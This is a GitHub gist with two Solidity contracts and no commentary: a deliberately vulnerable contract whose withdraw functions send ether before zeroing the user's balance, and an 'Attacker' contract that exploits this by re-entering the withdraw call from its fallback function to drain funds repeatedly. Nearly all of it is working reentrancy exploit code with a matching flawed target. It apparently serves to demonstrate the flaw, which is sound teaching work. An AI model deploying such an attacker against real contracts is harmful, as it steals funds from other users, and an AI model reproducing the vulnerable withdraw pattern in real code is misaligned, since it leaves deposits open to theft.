Skip to content

Instantly share code, notes, and snippets.

@vessenes
Last active December 24, 2022 18:34
Show Gist options
  • Save vessenes/9d84df668893c43dcd968ee28a03cd2b to your computer and use it in GitHub Desktop.
Save vessenes/9d84df668893c43dcd968ee28a03cd2b to your computer and use it in GitHub Desktop.
contract PoorlyWrittenContract {
mapping (address => uint) userBalances;
address creator;
event Withdrawal(address recip, uint amount, string note);
function PoorlyWrittenContract() {
creator = msg.sender;
}
function getUserBalance(address user) constant returns(uint) {
return userBalances[user];
}
function withdrawWithSend() {
if (userBalances[msg.sender] > 0) {
Withdrawal(msg.sender, userBalances[msg.sender], "Withdraw Called With Send");
msg.sender.send(userBalances[msg.sender]);
userBalances[msg.sender] = 0;
}
}
function withdrawWithCall() {
if (userBalances[msg.sender] > 0) {
Withdrawal(msg.sender, userBalances[msg.sender], "Withdraw Called Using Call");
msg.sender.call.value(userBalances[msg.sender])();
userBalances[msg.sender] = 0;
}
}
function () {
userBalances[msg.sender] += msg.value;
}
function getBalance() constant returns(uint) {
return userBalances[msg.sender];
}
function withdrawOwner() {
if (msg.sender != creator) {
return;
}
msg.sender.send(this.balance);
}
}
contract Attacker {
uint8 times;
uint numTimes;
address vulnerableSiteAddress;
string withdrawFunc;
uint withheldGasValue = 50000 * 24000000000;
event WithdrawalAttempt(address recip, uint amount, string note);
function attack(address dest, string withdrawFuncSig, uint iterations) {
times = 0;
numTimes = iterations;
vulnerableSiteAddress = dest;
withdrawFunc = withdrawFuncSig;
dest.send(msg.value - numTimes * withheldGasValue);
dest.call.gas(50000)(bytes4(sha3(withdrawFuncSig)));
// clean up
msg.sender.send(this.balance);
times = 0;
numTimes = 0;
vulnerableSiteAddress = address(0x0);
withdrawFunc = "";
}
function() {
if (times < numTimes && msg.sender == vulnerableSiteAddress) {
times++;
WithdrawalAttempt(vulnerableSiteAddress, this.balance, withdrawFunc);
vulnerableSiteAddress.call.gas(50000)(bytes4(sha3(withdrawFunc)));
} else {
times = 0;
}
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment